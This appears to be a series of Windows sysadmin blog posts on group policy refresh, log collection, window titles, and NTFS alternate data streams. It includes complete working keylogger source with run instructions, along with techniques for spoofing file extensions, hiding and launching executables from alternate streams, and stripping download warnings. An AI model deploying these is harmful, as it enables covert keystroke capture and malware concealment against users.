Group policy refresh behaviour

The default refresh interval for group policy is 90 minutes with an additional 0 to 30 minute random offset. You can also manually trigger a policy refresh by running gpupdate. Note: The refresh interval on domain controllers is only 5 minutes (with no offset).

The refresh process checks if any of the policies assigned to a computer have changed (each policy has a version number that is incremented when a policy is modified). If no policies have changed, the refresh process completes without applying any updates to the computer. If at least one of the policies has changed, all policies assigned to the computer are reapplied (in priority order from lowest to highest). You can also force all policies to be reapplied by running gpupdate /force (the equivalent process occurs automatically every 16 hours).

I used to think that when a group policy was reapplied to a computer, each corresponding registry entry was refreshed via a single RegSetValue operation. I've since learnt that the update process actually requires two operations; the registry value is first deleted via a call to RegDeleteValue, and then set via a call to RegSetValue. Furthermore, if two policies implement the same setting, after the corresponding registry value is deleted, two RegSetValue operations are called; the first sets the value from lowest priority policy, and the second sets the value from the highest priority policy. This again, is different from what I expected; I had assumed that only the value from the "wining policy" would be applied.

This approach raises an interesting point - as the update process is non-atomic, and not (as far as I know) transactional - there will be a period of time (however brief) when the update process will yield incorrect values.

The process varies slightly for registry values configured via group policy preferences. If a preference is configured with an action of 'update', the registry entry will be updated in-place (via a single RegSetValue operation). If the preference is configured with an action of 'replace', it will be deleted and then set. And if a preference is configured with an action of 'replace' and with the option to 'remove this item when it is no longer required', two RegDeleteValue operations will be requested (obviously, only the first succeeds) prior to calling RegSetValue. I assume the first delete operation is initiated as the policy is effectively removed and reassigned, and the second operation forms part of the 'replace' action.

Another key difference between traditional group policy settings and group policy preferences is that preferences are always reapplied during a background policy refresh (and by running gpupdate) - even if a policy has not changed.

Collect logs from multiple servers with PowerShell

The code in this post is rather simplistic, and very specific to a particular task, but some of the concepts may prove useful to others.

The requirement was to copy a specific log file from a large number of servers to a central management server, search the copied logs for a specific error code, and write matched entries - using a prefix to denote the server of origin - to a consolidated "results" file.

A few points of interest:

  • A file name is extracted from a fully qualified file path by splitting the path by backslash, and selecting the last element: $sourcePath.split('\')[-1]
  • The Test-Connection cmdlet is used to confirm (by ping) that a server is online.
  • The Tail parameter of the Get-Content cmdlet is used to only search the last "x" lines of each log.
  • A case-insensitive search of each log is performed using the Search-String cmdlet. The AllMatches parameter, as the name suggests, is used to ensure all lines matching the search pattern are retrieved.

Here is the code:

# An array of servers to be queried.
$servers = @("abc.local.net", "xyz.local.net")

# The local path (on each remote server) of the log file to be collected.
$sourcePath = "c:\logs\log.txt"

# The target folder (on the local management server) into which the log files will be collected.
$targetPath = "c:\archive"

# The path (on the local management server) to the file that will hold the matched log entries.
$searchResultPath = "C:\logs\results.txt"

# The search term.
$searchTerm = "critical error"

# The number of lines searched at the end of each log.
$tail = 100

# Do not change the code below this point.

# Substitute the "admin" share for the local path.
$sourceSharePath = $sourcePath.Replace(':', '$')

# Get the target file name.
$targetName = $sourcePath.split('\')[-1] 

# Iterate through the list of servers.
$servers | %{
  $server = $_

  # Get the UNC path to the source log.
  $sourceUncPath = "\\$server\$sourceSharePath"

  # Add the server name to the target path.
  # e.g. log.txt => log.server.txt
  $uniqueTargetName = $targetName.Replace(".", "-$server.")
  $uniqueTargetPath = "$targetPath\$uniqueTargetName"

  # Check if the server is online.
  if (Test-Connection $server -Count 1 -Quiet) {
    Write-Host "$server is online."

    # Check if the source is accessible.
    if (Test-Path $sourceUncPath) {
      Write-Host "`tConnected to $server."

      # Copy the source log to the target folder.
      Write-Host "`tCopying $sourceUncPath to $uniqueTargetPath."
      Copy-Item $sourceUncPath $uniqueTargetPath -Force

      # Seach the tail of the copied log for the pattern.
      Get-Content $uniqueTargetPath -Tail $tail | Select-String $searchTerm -AllMatches | %{
        # Prefix the matched content with the name of the source server and add to the results.
        "$($server): $_" | Out-File -Append $searchResultPath
      }
    } else {
      Write-Host "`tCould not connect to $server." -foregroundcolor magenta
    }
  } else {
    Write-Host "$server is offline" -foregroundcolor magenta
  }
}

Right-to-left-override unicode character

Unicode is a character encoding standard that supports most of the world's written languages. To support such a broad character set with a standard US keyboard, individual Unicode characters can be entered on a Windows computer by holding down the Alt key, and then entering the numeric code of the required character, for example, Alt+0036 for $.

Many of the characters in the Unicode set are control characters (non-printing instructions). One such example is the right-to-left-override (RLO) character (Alt+202E) that is used to reverse a character sequence from "left-to-right" to "right-to-left" (as is required for languages like Arabic).

Unfortunately, this necessary feature can also be used for nefarious purposes, such as obfuscating the extension of a file. For example, let's take a file named annfdp.exe. By placing the RLO character immediately before the f, we create a file that appears to be a PDF named annexe.pdf, when in fact, it's really an executable (with potentially nasty code).

Short of using Software Restriction Policies (SRP), AppLocker, or a technology like Windows File Screening to prevent users from creating files which include the RLO character, this can be a difficult threat to mitigate.

Changing window titles using PowerShell

Toward the end of my previous post on using SetWindowsHookEx to create global system hooks, I alluded to my failed attempt at changing window titles with PowerShell by hooking WM_SETTEXT messages. There is, however, another way to achieve this goal, albeit, far less elegant.

Instead of proactively intercepting the messages used to set window titles, we can retrospectively modify the existing titles of all windows on a timed schedule.

The following PowerShell code uses a system timer, which fires every second, to call the Win32 function SetWindowsText. The function adds the text "Top Secret" to the start of every window title that does not already include the prefix.

# Prefix to add to window titles.
$prefix = "Top Secret"

# How often to update window titles (in milliseconds).
$interval = 1000

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public static class Win32 {
  [DllImport("User32.dll", EntryPoint="SetWindowText")]
  public static extern int SetWindowText(IntPtr hWnd, string strTitle);
}
"@

$timer = New-Object System.Timers.Timer

$timer.Enabled = $true
$timer.Interval = $interval
$timer.AutoReset = $true

function Change-Window-Titles($prefix) {
  Get-Process | ? {$_.mainWindowTitle -and $_.mainWindowTitle -notlike "$($prefix)*"} | %{
    [Win32]::SetWindowText($_.mainWindowHandle, "$prefix - $($_.mainWindowTitle)")
  }
}

Register-ObjectEvent -InputObject $timer -EventName Elapsed -Action {
  Change-Window-Titles $prefix
}

To test the program, save the code to C:\Temp\ChangeWindowTitles.ps1, open a command prompt, change into C:\Temp, and run:

powershell.exe -noexit -file ChangeWindowTitles.ps1

The noexit argument is necessary to ensure the program stays active.

Run the code, open some windows, and after a short delay, watch the "Top Secret" prefix magically appear on all windows with visible titles.

Note: Due to the way I have chosen to enumerate application windows, this code will not correctly adjust the titles of MDI (multiple document interface) applications - like Microsoft Word.

Creating a key logger via a global system hook using PowerShell

Applications in Microsoft Windows are event-driven. The operating system generates messages in response to various conditions (e.g. the user moves the mouse, or clicks a button), and these messages are sent to application windows, where they are processed by a message handler. An application can also generate its own messages; either to manage its own windows, or to affect the behaviour of windows associated with other applications.

It is possible to write custom handlers (callbacks) that will hook into the event system and intercept messages sent to applications. After processing a message, the callback can discard it, or allow it to pass through to the next available handler.

There are two classes of event hook: local and global. A local hook will only respond to messages sent to a single application. A global system hook will respond to all messages sent within the desktop session of the thread that created the hook.

The following C# class (defined in PowerShell) uses SetWindowsHookEx to create a global hook that monitors low-level keyboard input events. The referenced callback then writes each key press to log.txt.

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
  public static class Program {
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;

    private const string logFileName = "log.txt";
    private static StreamWriter logFile;

    private static HookProc hookProc = HookCallback;
    private static IntPtr hookId = IntPtr.Zero;

    public static void Main() {
      logFile = File.AppendText(logFileName);
      logFile.AutoFlush = true;

      hookId = SetHook(hookProc);
      Application.Run();
      UnhookWindowsHookEx(hookId);
    }

    private static IntPtr SetHook(HookProc hookProc) {
      IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
      return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
    }

    private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
      if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
        int vkCode = Marshal.ReadInt32(lParam);
        logFile.WriteLine((Keys)vkCode);
      }

      return CallNextHookEx(hookId, nCode, wParam, lParam);
    }

    [DllImport("user32.dll")]
    private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll")]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll")]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
  }
}
"@ -ReferencedAssemblies System.Windows.Forms

[KeyLogger.Program]::Main();

To test the program, save the code to C:\Temp\Logger.ps1, open a command prompt, change into C:\Temp, and run:

powershell.exe -file Logger.ps1

From this point forward, all keyboard activity will be logged to C:\Temp\log.txt. Kill the powershell.exe process via Task Manager to exit.

In theory, this code could be easily modified to support other event types. For example, you could change the title of all windows on the desktop by intercepting WM_SETTEXT messages (passing WH_CALLWNDPROCRET instead of WH_KEYBOARD_LL to SetWindowsHookEx). Unfortunately, due to a restriction placed on the use of global system hooks, this will not work.

Except for the WH_KEYBOARD_LL and WH_MOUSE_LL hook procedures, it is not possible to implement global hooks in the Microsoft .NET Framework. As described in KB318804, the installation of a global hook requires the callback to be located within a DLL, and as standard Windows DLLs cannot be created using C# or VB.NET, it is not possible to implement global system hooks using managed code.

NTFS alternate data streams

The data within a file on an NTFS partition is stored in an element called a stream. Each file has a mandatory "unnamed" stream, but alternate streams may also be created.

Let's create a simple text file:

echo Hello > hello.txt

A quick check - dir hello.txt - will confirm the file size is 8 bytes.

Now, let's attach a hidden alternate stream to hello.txt named secret containing the text password:

echo password > hello.txt:secret

If you open the file in Notepad, you will not see the content within the alternate stream. The following command will also just display Hello:

more < hello.txt

You will also get the same result if you explicitly reference the unnamed stream:

more < hello.txt::$DATA

However, if you explicitly request access to the alternate stream, you will see password:

more < hello.txt:secret

If you once again check the size of hello.txt, you will notice that the content we added to the alternate stream has not changed the file size. However, by using dir /R we can confirm the existence of the additional stream and its size:

26/11/2012   8 hello.txt
            11 hello.txt:secret:$DATA

Note: Only notepad.exe and console commands used with redirection operators (such as the examples shown above), allow you to work with alternate streams. For example, the following command will not work:

type hello.txt:secret

Alternate streams open up some interesting possibilities. For example, you could hide the presence of an executable by embedding it into an alternate stream:

type nasty.exe > empty.txt:nasty.exe

Prior to Windows 7, you could easily execute the hidden file:

start .\empty.txt:nasty.exe

However, as a security measure, from Windows 7 onwards, this approach can no longer be used to execute code from an alternate stream. Although you can easily circumvent this limitation using a symbolic link. For example, the following command (if executed under a privileged account) will provide an entry point to the executable:

mklink safe.txt empty.txt:nasty.exe

Now you can launch nasty.exe (stored within a hidden alternate stream) by running safe.txt.

A common use of streams is for storing web browser security zone data. For example, if you download a file named foo.exe from a web site in the internet zone, the file will include a stream named foo.exe:Zone.Identifer with the following data:

[ZoneTransfer]
ZoneId=3

When you try and execute foo.exe, Windows will use the Zone.Identifier stream to determine that the file was not downloaded from a trusted source. As such, you will be presented with a security warning dialog. As a popup dialog can be problematic when attempting the silent installation of a program, you could remove it by deleting the alternate stream:

type NUL > foo.exe:Zone.Identifer

You can also use the System Internals tool streams.exe to delete the stream:

streams.exe -d foo.exe

In addition to working with files, you can also attach an alternate data stream to a directory. To add a stream named description to c:\temp containing the text "temporary stuff", change into c:\temp, and then use the following command:

echo temporary stuff > :description

To access the content use:

more < :description

Keep in mind that streams are a function of NTFS, and as soon as you copy a file to a FAT/FAT32 partition, the stream data will be lost.